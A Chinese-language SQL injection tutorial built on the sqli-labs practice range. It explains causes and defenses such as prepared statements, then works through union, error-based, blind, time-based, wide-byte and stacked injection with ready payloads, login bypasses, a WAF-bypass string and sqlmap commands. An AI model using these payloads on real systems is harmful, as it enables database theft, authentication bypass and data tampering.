漏洞之 SQL Injection(SQL 注入)

1、准备

1.1、MySQL相关知识点

1.1.1、MySQL 中 information_schema

information_schema 数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

information_schema实际上是视图,而不是基本表,像软链接一样。就像一本书里面的目录,包括整个数据库里面的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集)表:提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。
COLLATIONS表:提供了关于各字符集的对照信息。
COLLATION_CHARACTER_SET_APPLICABILITY表:指明了可用于校对的字符集。这些列等效于SHOW COLLATION的前两个显示字段。
TABLE_CONSTRAINTS表:描述了存在约束的表。以及表的约束类型。
KEY_COLUMN_USAGE表:描述了具有约束的键列。
ROUTINES表:提供了关于存储子程序(存储程序和函数)的信息。此时,ROUTINES表不包含自定义函数(UDF)。名为“mysql.proc name”的列指明了对应于INFORMATION_SCHEMA.ROUTINES表的mysql.proc表列。
VIEWS表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
TRIGGERS表:提供了关于触发程序的信息。必须有super权限才能查看该表

information_schema 中我们需要了解三张表,SCHEMATATABLESCOLUMNS

  • SCHEMATA 中记录了存储的库名 SCHEMATA_NAME
  • TABLES 中记录了用户创建的所有数据库的库名(TABLE_SCHEMA)和表名(TABLE_NAME)。用limit限制了查询数量
  • COLUMNS 中记录了该用户创建的所有数据库的库名(TABLE_SCHEMA)、表名(TABLE_NAME)和字段名(COLUMN_NAME)

1.1.2、MySQL中的注释符

MySQL支持3种注释符

  • #:注释从 # 字符到 行尾
  • --:注释从-- 序列到 行尾,使用注释时,后面需要跟一个或多个空格
  • /**/:注释 /**/ 中间的字符,若 /**/ 中间有感叹号,则有特殊意义,如/*!55555,username*/,若mysql版本号高于或等于5.55.55,语句将会被执行,如果!后面不加入版本号,mysql将会直接执行SQL语句

1.1.3、MySQL函数利用

  • database():当前网站使用的数据库
  • version():当前 MySQL 的版本
  • user():当前 MySQL 的用户

1.2、环境

本文所有注入练习的靶场为:sqli-labs

安装参考:https://www.yuque.com/chenchen-dqalz/kf7z9w/mfz7efxrlk9sgsv5

2、SQL 注入 简介

SQL(Structured Query Language,结构化查询语言),是一种特殊的编程语言,用于数据库中的标准数据查询语言。

SQL 注入(SQL Injection)是一种常见的 Web 安全漏洞,主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到 SQL 语句中后,被当作 SQL 语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限陷)。

即:注入产生的原因是后台服务器接收相关参数未经过滤直接带入数据库查询

2.1、漏洞原因简单分析

web 分为前端和后端,前端负责进行展示,后端负责处理来自前端的请求并提供前端展示的资源,即然有资源,那么就需要有存储资源的地方,如 MySQL 数据库。那服务器如何获取数据呢?通常使用SQL语句进行查询。

比如我们访问一个地址:127.0.0.1/index.html?id=1

正常情况上述地址是自动生成的,不需要我们干预,但是如果我们在 id=1 后面加上单引号即 ?id=1'。此时如果页面显示有语法错误,就说明我们输入的数据 1' 被完整的带入到了SQL语句中,执行的 SQL 语句可能就变成了:sql='SELECT * FROM users WHERE id=1''';

由于我们输入的那个单引号和前面的单引号产生了闭合,导致原有后面的那个单引号变成了多余,而 SQL 语法中引号是必须成对出现的否则就会报错。

既然输入的单引号引起了报错,也就证明程序没有对我们的输入进行过滤,那我们就构造语句将单引号进行闭合就好了。我们在1后面加上单引号,与前面的引号构成闭合,再接着在后面插入我们自己想要查询的语句就可以查询我们想要查询的数据,就这样被脱库的风险就悄悄的发生。

2.2、漏洞危害

SQL注入漏洞对于数据安全的影响:

  • 数据库信息泄漏: 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。数据库中存放的用户的隐私信息的泄露。
  • 绕过认证: 如绕过验证登录网站后台。
  • 网页篡改: 通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件: 修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作: 数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门: 经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

3、SQL 注入防御

解决 SQL注 入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:

代码层面:

  1. 对输入进行严格的转义和过滤,过滤危险字符。
    正则表达式匹配危险字符,列如:union、sleep、load_file 等关键字,如果匹配到,则退出程序。

  2. 使用参数化(Parameterized):目前有很多 ORM 框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!

    • 如 Python 的 pymysql 库,底层其实只是把参数进行了转化。
      1
      2
      3
      query = query % self._escape_args(args, conn)
      for arg in args:
      arg = "'" + arg.replace("'", "''") + "'"
  3. 使用 MySQL 预处理,又叫预编译 (Java、PHP 防范推荐方法)。防御 SQL注入 的最佳方式就是使用预编译语句,绑定变量,预编译可以提高数据库效率,减少编译次数和连接次数。
    没有进行预处理的 SQL,在输入 SQL 语句进行执行的时候,web 服务器自己拼凑 SQL 的时候有可能会把危险的 SQL 语句拼凑进去。但如果进行了 PDO 预处理的 SQL,会让 MySQL 自己进行拼凑,就算夹带了危险的 SQL 语句,也不会进行处理只会当成参数传进去,而不是以拼接进 SQL 语句传进去,从而防止了 SQL 注入。

    • 如 Java 的 MyBatis:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      package com.lscl.test;
      import org.junit.Test;
      import java.sql.*;

      public class Demo01 {
      @Test
      public void test1() throws Exception {
      // 获取连接,useServerPrepStmts=true 开启预编译
      Connection connection = DriverManager.getConnection("jdbc:mysql://localhost:3306/mybatis?useServerPrepStmts=true", "root", "admin");
      String sql = "select * from user where id = ?";
      // prepareStatement 预编译方法
      PreparedStatement ps = connection.prepareStatement(sql);
      ps.setInt(1, 1);
      // 执行查询,获取结果集
      ResultSet rs = ps.executeQuery();
      //遍历查询结果集
      while (rs.next()) {
      System.out.println(rs.getObject("id")+"---"+rs.getObject("username"));
      }
      rs.close();
      ps.close();
      }
      }

      MyBatis 启用了预编译功能,在 SQL 执行前,会先将上面的 SQL 发送给数据库进行编译;等到执行时,直接使用编译好的 SQL,#{id} 直接替换成占位符 “?” 就可以了。因为 SQL 注入只能对编译过程起作用,所以这种“预编译”+“占位符替换”的方式就很好地避免了 SQL 注入的问题。

  4. 使用安全函数,在接收用户输入时添加安全函数。

网络层面:

  1. 通过 WAF 设备启用防 SQL Inject 注入策略(或类似防护系统)
  2. 云端防护(如阿里云盾)

预编译|预处理

通常我们发送一条 SQL 语句给 MySQL 服务器时,MySQL 服务器每次都需要对这条 SQL 语句进行校验、解析等操作。

所谓预编译就是将一些灵活的参数值以占位符?的形式给代替掉,我们把参数值给抽取出来,把 SQL 语句进行模板化。让 MySQL 服务器执行相同的 SQL 语句时,不需要在校验、解析 SQL 语句上面花费重复的时间。不管用户输入什么,只会当做字符串字面值参数输入,不可能对固定的 SQL 语句语法结构进行更改。

预处理的原理:

insert into register_info values(?,?,?,?);

  1. 创建 SQL 语句模板,并发送到数据库。预留的值使用参数 ? 标记

  2. 数据库对模板解析、编译,对 SQL 语句模板执行查询优化,并存储结果不输出

  3. 最多将绑定的参数传给之前 ? 标记的地方,模板执行语句。如果传的参数不一样,模板就可以多次使用。但是对模板的解析只需要做一次

4、如何挖掘 SQL 注入漏洞

注入思想

  1. 找到注入点:判断是否有漏洞,寻找插入位置
  2. 构造注入语句,并在注入点注入形成新的 SQL 语句
  3. 新形成的 SQL 语句提交数据库处理
  4. 数据库执行新的 SQL 语句,引发注入攻击

4.1、注入可能存在的地方

如果有 SQL 注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。

  • 比如 url 中的 GET 型传参,如:?id=1
  • 或者是搜索框,前端将用户输入的数据代入到数据库中进行查询,这种以 POST 方法进行发送数据。
  • 或者是 HTTP 请求头部字段如 Cookie 值,下面会讲到。

4.2、漏洞探测

1
2
3
4
5
6
7
8
9
10
# 判断如下闭合方式是否会报错,会报错则肯定存在注入
=test'
=test"


# 若不报错则判断是否存在布尔盲注,如果页面会有不同的显示在可能存在漏洞
=test' and 1=1 or '
=test' and 1=2 or '
=test" and 1=1 or "
=test" and 1=2 or "

ps:目前网站的 SQL注入 基本都能通过漏洞扫描器 xray 检测出来,但是这样动静太大(公网上),如果在内网中可以直接挂上 xray 进行检测。在公网时可以手动检测是否存在漏洞,然后在存在漏洞的地方打上 *,接着复制整个请求包在txt文档中用sqlmap -r进行注入

5、常见的注入手法

SQL 注入漏洞根据不同的标准,有不同的分类。

  • 根据参数类型:字符型,数字型、搜索型
  • 根据提交方式:POST注入,GET注入,HTTP HEAD注入
  • 根据有无回显:联合注入,报错注入,布尔盲注,延时注入
  • 其他注入:堆叠注入,宽字节注入,二次注入等

5.1、参数类型分类

  1. 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。

    http://www.text.com/text.php?id=3 对应的 SQL 语句为 select * from table where id=3

  2. 字符型:字符型注入正好相反。

    当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹

    • 数字型语句:select * from table where id=3
    • 字符型语句:select * from table where name='admin'
1
2
3
4
5
6
7
# ?id=1 and 1=1 和 ?id=1 and 1=2 进行测试如果 1=1 页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为数字型注入。
=1 and 1=1
=1 and 1=2

# ?id=1' and 1=1--+/#和?id=1' and 1=2--+/# 进行测试如果1=1页面显示正常和原页面一样,并且1=2页面报错或者页面部分数据显示不正常,那么可以确定此处为字符型注入。
?id=1' and 1=1 --+
id=1' and 1=2 --+

5.2、按数据提交的方式来分类

GET 注入

提交数据的方式是 GET,注入点的位置在 GET 参数部分。比如有这样的一个链接 http://xxx.com/news.php?id=1 ,id 是注入点。

POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,POST 提交方式主要适用于表单的提交,用于登录框的注入。

常用的万能 username 语句:

1
2
3
4
5
6
7
8
9
10
11
a ' or 1=1 #
a ") or 1=1 #
a') or 1=1 #
a" or "1"="1
' or '1'='1
' or (length(database())) = 8 # (用于输入’ “都没有错误)
' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入' "都没有错误)
") or ("1")=("1
") or 1=1 or if(1=1, sleep(1), null)
") or (length(database())) = 8
") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) #

POST 型盲注通杀 payload:

uname=admin%df'or()or%200%23&passwd=&submit=Submit

HTTP 头注入

常见的 SQL注入 一般是通过请求参数或者表单进行注入,而 HTTP 头部注入是通过 HTTP 协议头部字段值进行注入。HTTP 头注入常存在于以下地方

产生注入的条件

  • 能够对请求头消息进行修改。
  • 修改的请求头信息能够带入数据库进行查询。
  • 数据库没有对输入的请求信息做过滤。

User-Agent 注入

User-Agent:使得服务器能够识别客户使用的操作系统,浏览器版本等。(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等然后将其存入数据库中)。这里获取 User-Agent 就可以知道客户都是通过什么浏览器访问系统的,然后将其值保存到数据库中。

sqli-labs less-18关为例,登录用户密码:dumb,0

  1. 判断注入点:User-Agent 值后面加上 ',引发报错,确定存在 SQL 注入。

  2. 采用报错注入函数获取当前数据库名:' and updatexml(1,concat('^',(database()),'^'),1) and '

cookie注入

cookie:服务器端用来记录客户端的状态。由服务端产生,保存在浏览器中。HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。有报错信息可以利用报错注入

  1. 首先判断注入点,加 ' 单引号报错。

  2. 采用报错注入函数获取当前数据库名:' and updatexml(1,concat('^',(database()),'^'),1) and '

Referer注入

Referer:是 HTTP header 的一部分,当浏览器向 web 服务器发送请求的时候,一般会带上 Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

以 19 关 为例:

  1. 判断输入点,加单引号引发报错。

  2. 使用报错注入函数:' and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

方法都是一样的。

X-Forwarded-For 注入

X-Forwarded-For(XFF):用来识别客户端最原始的ip地址。

5.3、按照执行效果、注入手法分类

  • UNION query SQL injection(联合查询注入)
  • Error-based SQL injection(错型注入)
  • Boolean-based blind SQL injection(基于布尔的盲注)
  • Time-based blind SQL injection(基于时间的盲注)
  • Stacked queries SQL injection(可多语句查询注入)

联合查询(union 注入)

联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化。

我们以 sqli-labs 第一关 为例。如下,要求我们传入一个 id 值过去

  1. 页面观察。

    当我们输入 id=1 和 id=2 时,页面中 name 值和 password 的值是不一样的,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了

  2. 注入点判断。

    开始判断是否存在注入,输入 ?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了 SQL 注入漏洞

  3. 继续判断

    • ?id=1' and 1=1 --+:(-- 代表注释,+ 则代表空格) 页面正常显示。
    • ?id=1' and 1=2 --+:(-- 代表注释,+ 则代表空格) 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号。
  4. 判断当前表的字段个数

    • ?id=1 order by 3 --+
    • ?id=1 order by 4 --+ :此时显示Unknown column '4' in 'order clause',说明此时当前表中只有3列

    注:order by 字段 可以写成 order by 1,即以表的第一列进行排序,order by n 即以表的第 n 列排序,当排序的那列数字超过了原有的列数就会报错 Unknown column '4' in 'order clause',所以就有了联合查询中的 order by n

  5. 判断显示位

    以下为union注入中较为常用的一些函数和环境变量

    • version():MySQL 版本
    • user():当前数据库用户名
    • database():当前数据库名
    • @@version_compile_os:操作系统版本
    • @@datadir:数据库路径

    上面我们判断出来了表中有3列,接下来判断我们的输入会在屏幕哪个地方进行回显

    ?id=-1' union select 1,2,3 --+:让 union select 前面的参数查不出来而回显后面的语句,所以 id=-1'

    在 name 和 password 中回显了我们的输入,这时我们就随便选一个地方来放置接下来的测试语句。

  6. 爆数据库名字

    ?id=-1' union select 1,database(),3 --+

  7. 爆数据库中的表

    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

  8. 爆表中的字段

    我们这里选择一个表,users 进行进一步的获取表中的字段值

    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

    获取到三个字段,分别为id,username,password

  9. 爆相应字段的所有数据

    ?id=-1' union select 1,group_concat(id,'--',username,'--',password),3 from users --+

至此,一次完整的脱库过程结束了,联合查询也就结束了。

报错注入

报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。

报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。

推荐三种报错注入的方法,直接套用就行。以 less-1 为例子

  1. group by 重复键冲

    1
    2
    3
    4
    5
    6
    7
    ?id=1' and (
    select 1 from (
    select count(*),concat(
    (select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2)
    )x from information_schema.tables group by x
    )
    a) --+

    提交如下,获取数据库名字

    ?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+

  2. extractvalue() 函数

1
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
提交`?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+` 获取数据库名字
  1. updatexml() 函数

    and updatexml(1,concat('^',(需要查询的内容),'^'),1)

    1. 提交如下,获取数据库名字

      ?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

    2. 获取当前数据库中表的名字

      ?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security'),'^'),1) --+

      这里是说要显示的内容超过一行它不能显示那么多,所以在table_schema='security'后加上 limit 0,1,显示第一行(显示第0行的往下一行,不包括第0行)

      如果要看第二行则,limit1,1(第一行的往下一行,不包括第一行,即显示第二行),看第三行则 limit2,1。以这个方法获取第四个表为users

    3. 爆表中的字段

      ?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

      总共爆出的字段为: id , username , password

    4. 爆字段中的内容

      ?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+

      三组用户名和密码。

基于布尔的盲注

布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于 true 和 false,根据这两种状态可以判断我们输入的语句是否查询成功。以 less-8 关为例

  • 我们输入正确的id,显示 You are in …..

  • 我们输入错误的语句如 id=1' 或者 id=-1 时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态。

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
}

所以,我们构造判断语句,根据页面是否回显证实猜想。一般用到的函数 ascii()substr()length()exists()concat() 等。

  1. 判断数据库类型

    • MySQL 数据库表:information_schema.tables
    • access:msysobjects
    • SQLServer:sysobjects

    用下的语句判断数据库。哪个页面正常显示,就属于哪个数据库

    1
    2
    3
    4
    5
    6
    7
    8
    # 判断是否是 Mysql数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from information_schema.tables) --+

    # 判断是否是 access数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from msysobjects) --+

    # 判断是否是 Sqlserver数据库
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select * from sysobjects) --+
  2. 判断当前数据库名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    # 1.判断当前数据库的长度,利用二分法
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>5 --+ // 正常显示
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>10 --+ // 不显示任何数据
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>7 --+ // 正常显示
    http://127.0.0.1/sqli/Less-5/?id=1' and length(database())>8 --+ // 不显示任何数据
    # 大于7正常显示,大于8不显示,说明大于7而不大于8,所以可知当前数据库长度为8个字符

    # 2.判断当前数据库的字符,和上面的方法一样,利用二分法依次判断
    # 判断数据库的第一个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115 --+ // 100为ascii表中的十进制,对应字母s
    # 判断数据库的第二个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),2,1))>100 --+
    # 判断数据库的第三个字符
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),3,1))>100 --+
    ...........
    # 由此可以判断出当前数据库为 security
  3. 判断当前库的表名

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    # 猜测当前数据库中是否存在admin表
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select*from admin) --+

    # 1:判断当前数据库中表的个数
    # 判断当前数据库中的表的个数是否大于5,用二分法依次判断,最后得知当前数据库表的个数为4
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3 --+

    # 2:判断每个表的长度
    # 判断第一个表的长度,用二分法依次判断,最后可知当前数据库中第一个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>6 --+
    # 判断第二个表的长度,用二分法依次判断,最后可知当前数据库中第二个表的长度为6
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6 --+

    # 3:判断每个表的每个字符的ascii值
    # 判断第一个表的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 --+
    # 判断第一个表的第二个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>100 --+
    .........
    # 由此可判断出存在表 emails、referers、uagents、users ,猜测users表中最有可能存在账户和密码,所以以下判断字段和数据在 users 表中判断
  4. 判断表的字段

    • 判断字段个数
    • 判断每个字段的长度
    • 猜每个字段的字符
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    # 如果已经证实了存在admin表,那么猜测是否存在username字段
    http://127.0.0.1/sqli/Less-5/?id=1' and exists(select username from admin)

    # 1:判断表中字段的个数
    # 判断users表中字段个数是否大于5
    http://127.0.0.1/sqli/Less-5/?id=1' and (select count(column_name) from information_schema.columns where table_name='users' and table_schema='security')>5 --+

    # 2:判断每个字段的长度
    # 判断第一个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>5 --+
    # 判断第二个字段的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select column_name from information_schema.columns where table_name='users' limit 1,1))>5 --+

    # 3:判断每个字段名字的ascii值
    # 判断第一个字段的第一个字符的ascii
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100 --+
    # 判断第一个字段的第二个字符的ascii
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))>100 --+
    ...........
    # 由此可判断出users表中存在 id、username、password 字段
  5. 爆字段中的数据

    • 猜字段中数据的长度
    • 猜字段数据的每个字符 ascii 码的字符
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    # 我们知道了users中有三个字段 id 、username 、password,我们现在爆出每个字段的数据

    # 1: 判断数据的长度
    # 判断id字段的第一个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 0,1))>5 --+
    # 判断id字段的第二个数据的长度
    http://127.0.0.1/sqli/Less-5/?id=1' and length((select id from users limit 1,1))>5 --+

    # 2:判断数据的ascii值
    # 判断id字段的第一行数据的第一个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),1,1))>100 --+
    # 判断id字段的第二行数据的第二个字符的ascii值
    http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select id from users limit 0,1),2,1))>100 --+
    ...........

一般布尔盲注,手工去注入过于繁琐,不建议手工注入,可以借助于工具。

基于时间的盲注

也叫延时注入。通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态,那么我们可以考虑用“绝招”–延时注入。延时注入就是将页面的时间线作为判断依据,一点一点注入出数据库的信息。我们以 第9关 为例,在id=1后面加单引号或者双引号,页面不会发生任何改变,所以我们考虑绝招延时注入。

  1. 延时注入

    ?id=1' and sleep(5) --+

    观察请求的时间线,大概在5秒以上,说明构造的 sleep(5) 语句起作用,可以把这个时间线作为 SQL注入 的判断依据。

  2. 获取数据库名字

    延时注入与布尔盲注类似,构造方法如下,提交参数

    ?id=1' and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+

    语法:if(expr1,expr2,expr3) 如果expr1的值为true,则返回expr2的值,如果expr1的值为false,则返回expr3的值。

    代码的含义就是如果数据库名字的第一个字符的acsii值为115,则进行延时,否则返回0即什么都不返回。

    页面显示延时 5 秒,说明数据库名字第一个字母的 ASCII 值是 115,也就是字母 s。

  3. 数据库名字第二个字母的判断

    ?id=1' and if(ascii(substr(database(),2,1))= 101,sleep(5),0) --+

    与盲注类似,后面就是猜数,这就是延时注入

可以绕waf的payload

and(select*from(select+sleep(4))a/**/union/**/select+1)='

5.4、其他分类

宽字节注入

宽字节案例引入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。为了说明宽字节注入问题,我们以 SQLi-labs 32 关为例子。使用 ?id=1' 进行测试的时候,发现提交的单引号会被转义[\']。此时,转义后的单引号会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来 SQL 语句的结构。

接着我们查看这关的源码,发现传入的 id 经过 addslashes 转移函数的处理,所有的单引号双引号字符都会被添加转义字符。接着在带入到数据库查询前设置了 mysql_query("SET NAMES gbk"),即设定字符集为 gbk。漏洞就是由于这个设置导致宽字节注入。

仔细看该函数,其利用正则匹配将 [ /,'," ] 这些三个符号都过滤掉了

而我们要绕过这个转义处理,使单引号发挥作用不再被转义,有两个思路:

  1. 让斜杠(\\)失去作用
  2. 让斜杠(\\)消失

第一个思路就是借鉴程序员的防范思路,对斜杠(\\)转义,使其失去转义单引号的作用,成为普通的内容。第二个思路就是宽字节注入。

关于编码

  1. 某字符的大小为一个字节时,称其字符为窄字节。
  2. 当某字符的大小为两个字节时,称其字符为宽字。
  3. 所有英文默认占一个字节,汉字占两个字节。
  4. 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等。

宽字节注入

宽字节是指多个字节宽度的编码,GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。转义函数在对这些编码进行转义时会将转义字符\\ 转为 %5c ,于是我们在他前面输入一个单字符编码与它组成一个新的多字符编码,使得原本的转义字符没有发生作用。

由于在数据库查询前使用了 GBK 多字节编码,即在汉字编码范围内使用两个字节会被编码为一个汉字(前一个ascii码要大于128,才到汉字的范围)。然后 MySQL 服务器会对查询语句进行 GBK 编码,即下面所说的

我们在前面加上 %df',转义函数会将 %df' 改成 %df\\',而 \\ 就是 %5c,即最后变成了 %df%5c',而 %df%5c 在GBK中这两个字节对应着一个汉字 “運”,就是说 \\ 已经失去了作用,%df',被认为運’,成功消除了转义函数的影响。

  • ': %27
  • \\: %5c
  • %df\\': %df%5c' =》運'

我们输入 ?id=1%df',按道理来说将转义符吃掉了,结果应该是 id='運'',为什么这里转变成了中文后后面还有一个反斜杠了?那个反斜杠是哪里来的?

其实这个是浏览器显示编码的问题,我们将浏览器编码切换为GB2312即简体中文,如下就正常了。

GB2312与GBK的不同

gb2312 和 gbk 应该都是宽字节家族的一员。但我们来做个小实验。把源码中 set names 修改成 gb2312

结果就不能注入了,我开始不信,然后再把数据库编码也改成 gb2312,也是不成功的。虽然执行的语句还是显示被转换成了中文了,但就是注入不成功

为什么,这归结于 gb2312 编码的取值范围。它的高位范围是 0xA1~0xF7,低位范围是 0xA1~0xFE,而 \\0x5c,是不在低位范围中的。所以,0x5c 根本不是 gb2312 中的编码,所以自然也是不会被吃掉的。

所以,把这个思路扩展到世界上所有多字节编码,我们可以这样认为:只要低位的范围中含有 0x5c 的编码,就可以进行宽字符注入。

宽字节注入注入方法

  1. 黑盒

    就是上面所述的,在注入点后面加 %df,然后按照正常的注入流程开始注入即可。如果我们需要使用sqlmap进行检测注入的话也需要在注入点后面加 %df 然后再用sqlmap跑,否则是注入不出来的,如

    sqlmap.py -u "http://localhost/sqli-labs-master/Less-32/?id=1%df%27"

  2. 白盒

    查看mysql是否为GBK编码,且是否使用 preg_replace() 把单引号转换成 \\' 或自带函数 addslashes() 进行转义如果存在上面说的,则存在宽字节注入。

宽字节注入修复

  1. mysql_real_escape_string:这个函数能抵御宽字节注入攻击。mysql_real_escape_string 转义 SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。mysql_real_escape_string 与 addslashes 的不同之处在于其会考虑当前设置的字符集。

    于是,把 addslashes 替换成 mysql_real_escape_string,来抵御宽字符注入。但是我们发现还是一样注入成功了


    为什么,明明我用了 mysql_real_escape_string,但却仍然不能抵御宽字符注入?

    原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下 mysqli_set_charset(connection,charset) 函数,设置当前连接的字符集为gbk。

    这样就防止了注入

    即先调用 mysqli_set_charset(connection,charset) 函数设置连接所使用的字符集为gbk,再调用 mysql_real_escape_string 来过滤用户输入。

  2. 设置参数:character_set_client=binary

  3. 使用utf-8编码

堆叠查询

堆叠查询也叫堆叠注入,在SQL中,分号 ; 是用来表示一条 SQL 语句的结束。试想一下我们在 ; 结束一个 SQL 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。以 sqli-labs第38关 为例

执行 id=1';update users set password='123456' where id=1; --+

